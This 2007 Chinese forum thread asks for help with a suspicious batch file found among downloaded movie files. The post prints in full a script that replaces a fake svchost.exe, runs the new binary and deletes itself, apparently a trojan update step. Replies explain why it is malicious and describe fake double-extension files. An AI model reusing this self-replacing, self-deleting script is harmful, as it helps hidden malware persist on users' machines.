楼 主
下载电影后发现批处理文件updskl.bat，不明白其意图
发表于 2007-07-29 21:25 · 中国 广东 深圳 电信
中级用户
★★
部落守望者
积分 351
发帖 140
注册 2006-06-19 17:11
20年会员
UID 57261
性别 男
状态 离线
电影文件夹中含有批处理文件updskl.bat，内容如下：
@echo off
:loop
del "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\ver.txt"
del "C:\Program Files\Common Files\System\she.dll"
if exist "C:\Program Files\Common Files\System\svchost.exe" goto loop
C:
cd C:\Program Files\Common Files\System\
ren svchostnew.exe svchost.exe
call "C:\Program Files\Common Files\System\svchost.exe"
del "C:\Program Files\Common Files\System\updskl.bat"
第一步就强行删除原有的svchost.exe，第二步重命名svchostnew.exe 为svchost.exe然后执行之。看样子是想更新电脑中System夹下的svchost.exe，不明白是什么意图？有没有危险啊。请大家帮忙分析下，谢谢各位！
[ Last edited by enjoyer on 2007-7-29 at 09:36 PM ]
一切从底层开始
第 2 楼
发表于 2007-07-29 21:32 · 中国 浙江 衢州 中移铁通
银牌会员
★★★
积分 1,928
发帖 931
注册 2007-01-06 11:46
19年会员
UID 75624
性别 男
状态 离线
第 3 楼
发表于 2007-07-29 21:39 · 中国 广东 深圳 电信
中级用户
★★
部落守望者
积分 351
发帖 140
注册 2006-06-19 17:11
20年会员
UID 57261
性别 男
状态 离线
不知道跟下载的电影文件是什么关系，还有svchost进程我也不了解，会不会影响我系统的稳定性呢？请楼上朋友帮忙分析下，谢谢了。
一切从底层开始
第 4 楼
发表于 2007-07-29 21:53 · 中国 陕西 西安 电信
铂金会员
★★★★
积分 5,212
发帖 2,478
注册 2007-02-08 23:39
19年会员
UID 79003
性别 男
状态 离线
系统的SVCHOST在SYSTEM32下，那个地方的不是正常的系统文件。
第 5 楼
发表于 2007-07-29 22:09 · 俄罗斯 莫斯科 华为云
中级用户
★★
我是DOS学者
积分 367
发帖 180
注册 2006-05-14 10:53
20年会员
UID 55507
性别 男
来自 重庆
状态 离线
有点危险吧，不建议运行，感觉是的~~毕竟电影和svchost没有什么关系吧
第 6 楼
发表于 2007-07-30 00:04 · 中国 广东 深圳 电信
中级用户
★★
部落守望者
积分 351
发帖 140
注册 2006-06-19 17:11
20年会员
UID 57261
性别 男
状态 离线
就怕是自动运行的。如果不自动运行那也没什么好怕的。
一切从底层开始
第 7 楼
发表于 2007-07-30 12:24 · 中国 上海 静安区 电信
中级用户
★★
积分 397
发帖 168
注册 2006-10-08 10:07
19年会员
UID 64934
状态 离线
我想你那个电影文件可能是假冒的！图标是，但文件最后的后缀不是！
注意，是最后，
会有这样的文件：
001.avi(N多空格).exe
图标是假的
第 8 楼
发表于 2007-07-30 16:47 · 新加坡 Verizon通讯公司UUNet互联点
初级用户
★
积分 88
发帖 43
注册 2007-05-30 22:09
19年会员
UID 89807
性别 男
状态 离线
第 9 楼
发表于 2007-07-30 21:30 · 中国 广东 肇庆 四会市 电信
中级用户
★★
积分 384
发帖 189
注册 2005-10-19 13:12
20年会员
UID 43709
性别 男
状态 离线
第 10 楼
发表于 2007-08-02 22:58 · 中国 江苏 连云港 电信
中级用户
★★
传说中的菜鸟
积分 275
发帖 112
注册 2005-04-22 00:00
21年会员
UID 38486
性别 男
状态 离线
这个批处理肯定有问题，svchost.exe路径不正确。
第 11 楼
发表于 2007-08-03 12:45 · 中国 广东 肇庆 电信
初级用户
★★
积分 165
发帖 74
注册 2007-01-08 08:17
19年会员
UID 75816
性别 男
状态 离线
第 12 楼
发表于 2007-08-03 17:07 · 中国 江苏 南京 鼓楼区 电信
初级用户
★
积分 30
发帖 15
注册 2007-05-26 20:44
19年会员
UID 89405
性别 男
状态 离线
第 13 楼
发表于 2007-08-03 21:41 · 中国 广东 深圳 电信
中级用户
★★
部落守望者
积分 351
发帖 140
注册 2006-06-19 17:11
20年会员
UID 57261
性别 男
状态 离线
谢谢大家帮忙！下载的电影文件是真的（.rm格式），可以正常播放。也没有再理会这个批处理文件。不过有没有在电影播放中偷偷运行就不知道了。
一切从底层开始
第 14 楼
发表于 2007-08-07 01:29 · 中国 广东 江门 电信
初级用户
★★
积分 167
发帖 95
注册 2007-05-06 09:19
19年会员
UID 87628
性别 男
状态 离线
第 15 楼
发表于 2007-08-27 19:44 · 中国 广东 深圳 诺瓦科技发展有限公司
初级用户
★
积分 32
发帖 21
注册 2007-08-22 13:29
18年会员
UID 95593
性别 男
状态 离线
svchost.exe是很重要的
楼主应该多点小心
论坛跳转:
